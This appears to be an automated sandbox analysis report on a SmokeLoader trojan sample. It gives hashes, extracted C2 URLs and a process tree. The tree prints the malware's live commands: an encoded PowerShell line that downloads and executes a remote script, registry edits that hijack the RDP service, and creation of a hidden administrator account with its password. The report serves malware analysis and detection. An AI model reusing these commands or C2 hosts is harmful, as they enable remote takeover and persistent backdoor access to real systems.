Analysis

  • max time kernel
    151s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    18-10-2021 12:36

General

  • Target

    d8c17d8c7ca799fe434174b292115685.exe

  • Size

    262KB

  • MD5

    d8c17d8c7ca799fe434174b292115685

  • SHA1

    933bf284ae175f9b8667014c58ced7c25dc4be9d

  • SHA256

    874646ae5e48bcb2e0f85adf92ba4a8e7a91a3124f7c35ec9228dda6fa568678

  • SHA512

    559ed328c109616e6754a023d53085737ae9e382b093dba9f5d5610f9485fee1b10d46d515f4df309c9685d977f1c9b0ee7fd94ff8d2bcf741e9059611bfadd9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d8c17d8c7ca799fe434174b292115685.exe
    "C:\Users\Admin\AppData\Local\Temp\d8c17d8c7ca799fe434174b292115685.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:3320
  • C:\Users\Admin\AppData\Local\Temp\E35.exe
    C:\Users\Admin\AppData\Local\Temp\E35.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:60
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mfpx3pvb\mfpx3pvb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1068
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES28C1.tmp" "c:\Users\Admin\AppData\Local\Temp\mfpx3pvb\CSCDD5018C661B14C26983E9A8C37D5DDC.TMP"
          4⤵
            PID:2180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:700
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2124
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:4532
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:4412
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2904
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:896
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3088
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3692
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3724
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2352
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3676
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2112
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3904
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3688
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2752
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2804
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1904
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3556
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:4048
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc k6h9TpeG /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4224
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc k6h9TpeG /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:620
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc k6h9TpeG /add
                          3⤵
                            PID:1184
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1616
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1488
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:1408
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2340
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2440
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                              3⤵
                                PID:2516
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2788
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2384
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:4132
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc k6h9TpeG
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4932
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc k6h9TpeG
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1220
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc k6h9TpeG
                                  3⤵
                                    PID:5004
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                  PID:2652
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic path win32_VideoController get name
                                    2⤵
                                    • Modifies data under HKEY_USERS
                                    PID:4164
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:5000
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                      • Modifies data under HKEY_USERS
                                      PID:3880
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:5048
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:3444
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            PID:360

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • memory/60-142-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-140-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-129-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-130-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-131-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-132-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-133-0x000001DFC8AF0000-0x000001DFC8AF1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/60-134-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-137-0x000001DFC8BD3000-0x000001DFC8BD5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-135-0x000001DFC8BD0000-0x000001DFC8BD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-136-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-138-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-139-0x000001DFC8CE0000-0x000001DFC8CE1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/60-155-0x000001DFC8B50000-0x000001DFC8B51000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/60-157-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-161-0x000001DFC9D60000-0x000001DFC9D61000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/60-146-0x000001DFB0800000-0x000001DFB0802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-147-0x000001DFC8BD6000-0x000001DFC8BD8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/60-169-0x000001DFC8BD8000-0x000001DFC8BD9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/60-162-0x000001DFCA0F0000-0x000001DFCA0F1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/360-398-0x00000204EEFD6000-0x00000204EEFD8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/360-449-0x00000204EEFD8000-0x00000204EEFD9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/360-391-0x00000204EEFD0000-0x00000204EEFD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/360-393-0x00000204EEFD3000-0x00000204EEFD5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/700-295-0x0000021FC4093000-0x0000021FC4095000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/700-292-0x0000021FC4090000-0x0000021FC4092000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/700-293-0x0000021FC4098000-0x0000021FC409A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/700-297-0x0000021FC4096000-0x0000021FC4098000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2452-118-0x0000000000AA0000-0x0000000000AB6000-memory.dmp

                                        Filesize

                                        88KB

                                      • memory/2932-177-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-182-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-181-0x000001AD7EF53000-0x000001AD7EF55000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-180-0x000001AD7EF50000-0x000001AD7EF52000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-178-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-185-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-176-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-184-0x000001AD7EF56000-0x000001AD7EF58000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-186-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-210-0x000001AD7EF58000-0x000001AD7EF5A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-174-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-172-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-171-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2932-173-0x000001AD7E850000-0x000001AD7E852000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3080-126-0x000001FCE4EC5000-0x000001FCE4EC6000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3080-125-0x000001FCE4EC3000-0x000001FCE4EC5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3080-127-0x000001FCE4EC6000-0x000001FCE4EC7000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3080-124-0x000001FCE4EC0000-0x000001FCE4EC2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3080-122-0x000001FCFDBB0000-0x000001FCFDFAF000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/3320-115-0x00000000009C7000-0x00000000009D8000-memory.dmp

                                        Filesize

                                        68KB

                                      • memory/3320-116-0x00000000007D0000-0x00000000007D9000-memory.dmp

                                        Filesize

                                        36KB

                                      • memory/3320-117-0x0000000000400000-0x0000000000772000-memory.dmp

                                        Filesize

                                        3.4MB

                                      • memory/5012-253-0x000001BC7F286000-0x000001BC7F288000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5012-250-0x000001BC7F280000-0x000001BC7F282000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5012-251-0x000001BC7F283000-0x000001BC7F285000-memory.dmp

                                        Filesize

                                        8KB